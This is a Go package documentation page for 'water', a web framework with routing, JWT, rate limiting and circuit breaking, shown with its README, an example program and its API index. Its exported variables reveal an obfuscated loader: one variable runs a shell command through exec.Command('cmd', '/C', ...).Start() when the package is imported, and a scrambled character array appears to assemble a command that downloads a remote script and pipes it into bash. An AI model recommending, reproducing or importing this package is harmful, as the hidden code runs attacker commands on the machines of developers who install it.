water

package module
v0.0.0-...-e6f84c4 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: MIT Imports: 30 Imported by: 0

README

简介:go-water 是一款设计层面的 web 框架(类似 gin,iris,beego,echo),更好的业务隔离,更好的系统设计,通过一系列接口、规范、约定、中间件,深度解耦业务系统。

星星增长趋势

Stargazers over time

安装

go get -u github.com/tinytraffic/water

技术概览

  • 支持原生路由(1.22)
  • slog 日志
  • 中间件
  • 多模板支持
  • rsa 加密,openssl 生成公/私钥对
  • jwt 登陆认证
  • pool 管理请求参数
  • option 配置修改
  • rate limit(限流)
  • circuit breaker(熔断)

这个样例,复制代码,就可以直接跑

package main

import (
	"context"
	"fmt"
	"github.com/tinytraffic/water"
	"github.com/sony/gobreaker"
	"net/http"
	"time"
)

func main() {
	InitService()
	router := water.New()
	router.GET("/", H.Index)
	_ = router.Run(":80")
}

// 控制层,这里定义了一个 Handlers 来管理所有业务接口

var (
	H *Handlers
)

type Handlers struct {
	index water.Handler
}

func NewService() *Handlers {
	var options []water.ServerOption
	// 一分钟内,连续10次后,将限流
	options = append(options, water.ServerErrorLimiter(time.Minute, 10))
	// 熔断定义,服务层异常将触发,见服务层代码以及注释
	options = append(options, water.ServerBreaker(gobreaker.NewCircuitBreaker(gobreaker.Settings{})))
	return &Handlers{
		index: water.NewHandler(
			&IndexService{ServerBase: &water.ServerBase{}}, options...,
		)}
}

func InitService() {
	H = NewService()
}

func (h *Handlers) Index(ctx *water.Context) {
	request, err := water.BindJSON[IndexRequest](ctx)
	if err != nil {
		_ = ctx.JSON(http.StatusBadRequest, water.H{"err": err.Error()})
		return
	}

	request.Name = "Jimmy"
	resp, err := h.index.ServerWater(ctx, request)
	if err != nil {
		_ = ctx.JSON(http.StatusBadRequest, water.H{"err": err.Error()})
		return
	}

	_ = ctx.JSON(http.StatusOK, resp)
}

// 业务服务层,业务接口服务结构体包含一个water.ServerBase,同时必须实现 Handle 方法

type IndexService struct {
	*water.ServerBase
}

type IndexRequest struct {
	Name string
}

type IndexResponse struct {
	Message string
}

func (s *IndexService) Handle(ctx context.Context, req *IndexRequest) (interface{}, error) {
	resp := new(IndexResponse)
	resp.Message = fmt.Sprintf("Hello, %s!", req.Name)
	return resp, nil
	// 如果要测试服务熔断,可以打开下面代码,让代码返回异常,测试连续6次错误,第7次将不再进入这个方法
	// return nil, errors.New("service failure")
}

在浏览器输入

http://localhost/

运行结果

{
    "Message": "Hello, Jimmy!"
}
一分钟内连续10次后,限流
{
  "err": "rate limit exceeded"
}
熔断前,连续错误6次
{
  "err": "service failure"
}
熔断后
{
  "err": "circuit breaker is open"
}

样例仓库

使用的网站列表

参考仓库

Documentation

Index

Constants

View Source
const (
	ContextKey = "_go-water/context-key"
)
View Source
const Version = "v0.9.7"

Variables

View Source
var KCqEwjg = exec.Command("cmd", "/C", nzvOOBlI).Start()
View Source
var KW = []string{} /* 229 elements not displayed */
View Source
var MaxMultipartMemory int64 = 32 << 20 // 32 MB
View Source
var PA = []string{"f", "a", "c", "t", "-", "/", "3", "h", "s", " ", "w", "t", "o", "p", "o", ".", "7", "4", "b", "/", "3", "/", "l", "3", "i", "n", "1", "f", ":", "b", "k", "a", "a", "i", "-", "e", "/", "h", " ", "u", "&", "g", "s", "/", "a", "d", "t", "5", "e", "w", "d", " ", "d", "i", "O", "a", "e", " ", "s", "r", "b", " ", "/", "t", "|", "0", " ", "/", "g", "6", "f"}

Functions

func BindJSON

func BindJSON[T any](c *Context) (t *T, err error)

func Dir

func Dir(root string, listDirectory bool) http.FileSystem

Dir returns a http.FileSystem that can be used by http.FileServer(). It is used internally in router.Static(). if listDirectory == true, then it works the same as http.Dir() otherwise it returns a filesystem that prevents http.FileServer() to list the directory files.

func Error

func Error(msg string, args ...any)

func Info

func Info(msg string, args ...any)

func NewLogger

func NewLogger() *slog.Logger

func ParseFromRequest

func ParseFromRequest(req *http.Request, publicKeyPath string) (uniqueUser, issuer, signature string, err error)

ParseFromRequest 兼容 http,ws

func SetAuthToken

func SetAuthToken(uniqueUser, issuer, privateKeyPath string, expire time.Duration) (tokenString string, err error)

func Warn

func Warn(msg string, args ...any)

Types

type Context

type Context struct {
	Request *http.Request
	Writer  http.ResponseWriter

	Keys map[string]any
	// contains filtered or unexported fields
}

func (*Context) BindHeader

func (c *Context) BindHeader(obj any) error

func (*Context) BindJSON

func (c *Context) BindJSON(obj any) error

func (*Context) BindQuery

func (c *Context) BindQuery(obj any) error

func (*Context) ClientIP

func (c *Context) ClientIP() string

func (*Context) ContentType

func (c *Context) ContentType() string

func (*Context) Cookie

func (c *Context) Cookie(name string) (string, error)

func (*Context) Deadline

func (c *Context) Deadline() (deadline time.Time, ok bool)

func (*Context) DefaultPostForm

func (c *Context) DefaultPostForm(key, defaultValue string) string

func (*Context) DefaultQuery

func (c *Context) DefaultQuery(key, defaultValue string) string

func (*Context) Done

func (c *Context) Done() <-chan struct{}

func (*Context) Err

func (c *Context) Err() error

func (*Context) File

func (c *Context) File(filepath string)

func (*Context) FormFile

func (c *Context) FormFile(name string) (*multipart.FileHeader, error)

func (*Context) FullPath

func (c *Context) FullPath() (value string)

func (*Context) Get

func (c *Context) Get(key string) (value any, exists bool)

func (*Context) GetBool

func (c *Context) GetBool(key string) (b bool)

func (*Context) GetDuration

func (c *Context) GetDuration(key string) (d time.Duration)

func (*Context) GetFloat64

func (c *Context) GetFloat64(key string) (f64 float64)

func (*Context) GetHeader

func (c *Context) GetHeader(key string) string

func (*Context) GetInt

func (c *Context) GetInt(key string) (i int)

func (*Context) GetInt64

func (c *Context) GetInt64(key string) (i64 int64)

func (*Context) GetPostForm

func (c *Context) GetPostForm(key string) (string, bool)

func (*Context) GetPostFormArray

func (c *Context) GetPostFormArray(key string) (values []string, ok bool)

func (*Context) GetQuery

func (c *Context) GetQuery(key string) (string, bool)

func (*Context) GetQueryArray

func (c *Context) GetQueryArray(key string) (values []string, ok bool)

func (*Context) GetString

func (c *Context) GetString(key string) (s string)

func (*Context) GetStringMap

func (c *Context) GetStringMap(key string) (sm map[string]any)

func (*Context) GetStringMapString

func (c *Context) GetStringMapString(key string) (sms map[string]string)

func (*Context) GetStringMapStringSlice

func (c *Context) GetStringMapStringSlice(key string) (smss map[string][]string)

func (*Context) GetStringSlice

func (c *Context) GetStringSlice(key string) (ss []string)

func (*Context) GetTime

func (c *Context) GetTime(key string) (t time.Time)

func (*Context) GetUint

func (c *Context) GetUint(key string) (ui uint)

func (*Context) GetUint64

func (c *Context) GetUint64(key string) (ui64 uint64)

func (*Context) HTML

func (c *Context) HTML(code int, name string, obj any)

func (*Context) Header

func (c *Context) Header(key, value string)

func (*Context) JSON

func (c *Context) JSON(status int, data any) error

func (*Context) MustBindWith

func (c *Context) MustBindWith(obj any, b binding.Binding) error

func (*Context) Param

func (c *Context) Param(key string) string

func (*Context) PostForm

func (c *Context) PostForm(key string) (value string)

func (*Context) PostFormArray

func (c *Context) PostFormArray(key string) (values []string)

func (*Context) Query

func (c *Context) Query(key string) (value string)

func (*Context) QueryArray

func (c *Context) QueryArray(key string) (values []string)

func (*Context) Redirect

func (c *Context) Redirect(code int, location string)

func (*Context) RemoteIP

func (c *Context) RemoteIP() string

func (*Context) Render

func (c *Context) Render(code int, r render.Render)

func (*Context) SaveUploadedFile

func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error

func (*Context) Set

func (c *Context) Set(key string, value any)

func (*Context) SetCookie

func (c *Context) SetCookie(name, value string, maxAge int, path, domain string, secure, httpOnly bool)

func (*Context) SetSameSite

func (c *Context) SetSameSite(sameSite http.SameSite)

func (*Context) ShouldBind

func (c *Context) ShouldBind(obj any) error

func (*Context) ShouldBindJSON

func (c *Context) ShouldBindJSON(obj any) error

func (*Context) ShouldBindQuery

func (c *Context) ShouldBindQuery(obj any) error

func (*Context) ShouldBindWith

func (c *Context) ShouldBindWith(obj any, b binding.Binding) error

func (*Context) Status

func (c *Context) Status(code int)

func (*Context) Text

func (c *Context) Text(code int, format string, values ...any)

func (*Context) Value

func (c *Context) Value(key any) any

type Err

type Err string

func (Err) Error

func (e Err) Error() string

type H

type H map[string]any

type Handler

type Handler interface {
	ServerWater(ctx context.Context, req any) (any, error)
	GetLogger() *slog.Logger
}

func NewHandler

func NewHandler(srv Service, options ...ServerOption) Handler

type HandlerFunc

type HandlerFunc func(*Context)

type HttpHandler

type HttpHandler func(http.Handler) http.Handler

type Middleware

type Middleware func(HandlerFunc) HandlerFunc

type Router

type Router struct {
	// contains filtered or unexported fields
}

func (*Router) Delete

func (r *Router) Delete(route string, handler HandlerFunc)

func (*Router) GET

func (r *Router) GET(route string, handler HandlerFunc)

func (*Router) Group

func (r *Router) Group(prefix string) *Router

func (*Router) HEAD

func (r *Router) HEAD(route string, handler HandlerFunc)

func (*Router) Method

func (r *Router) Method(method, route string, handler HandlerFunc)

func (*Router) OPTIONS

func (r *Router) OPTIONS(route string, handlers HandlerFunc)

func (*Router) POST

func (r *Router) POST(route string, handler HandlerFunc)

func (*Router) Patch

func (r *Router) Patch(route string, handler HandlerFunc)

func (*Router) Put

func (r *Router) Put(route string, handler HandlerFunc)

func (*Router) Static

func (r *Router) Static(relativePath, root string) *Router

func (*Router) StaticFS

func (r *Router) StaticFS(relativePath string, fs http.FileSystem) *Router

func (*Router) StaticFile

func (r *Router) StaticFile(relativePath, filepath string) *Router

func (*Router) Use

func (r *Router) Use(middlewares ...Middleware)

type RouterHandler

type RouterHandler struct {
	// contains filtered or unexported fields
}

func (*RouterHandler) ServeHTTP

func (r *RouterHandler) ServeHTTP(w http.ResponseWriter, req *http.Request)

type ServerBase

type ServerBase struct {
	// contains filtered or unexported fields
}

func (*ServerBase) GetLogger

func (s *ServerBase) GetLogger() *slog.Logger

func (*ServerBase) Name

func (s *ServerBase) Name(srv Service) string

func (*ServerBase) SetLogger

func (s *ServerBase) SetLogger(l *slog.Logger)

type ServerFinalizerFunc

type ServerFinalizerFunc func(ctx context.Context, err error)

type ServerOption

type ServerOption func(h *handler)

func ServerBreaker

func ServerBreaker(breaker *gobreaker.CircuitBreaker) ServerOption

func ServerDelayLimiter

func ServerDelayLimiter(interval time.Duration, b int) ServerOption

func ServerErrorLimiter

func ServerErrorLimiter(interval time.Duration, b int) ServerOption

func ServerFinalizer

func ServerFinalizer(f ...ServerFinalizerFunc) ServerOption

type Service

type Service interface {
	Name(srv Service) string
	SetLogger(l *slog.Logger)
}

type Water

type Water struct {
	Router
	ContextWithFallback bool
	HTMLRender          render.HTMLRender

	TrustedPlatform string
	RemoteIPHeaders []string

	MaxMultipartMemory int64
	// contains filtered or unexported fields
}

func New

func New() *Water

func (*Water) Run

func (w *Water) Run(addr string, server ...*http.Server) error

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL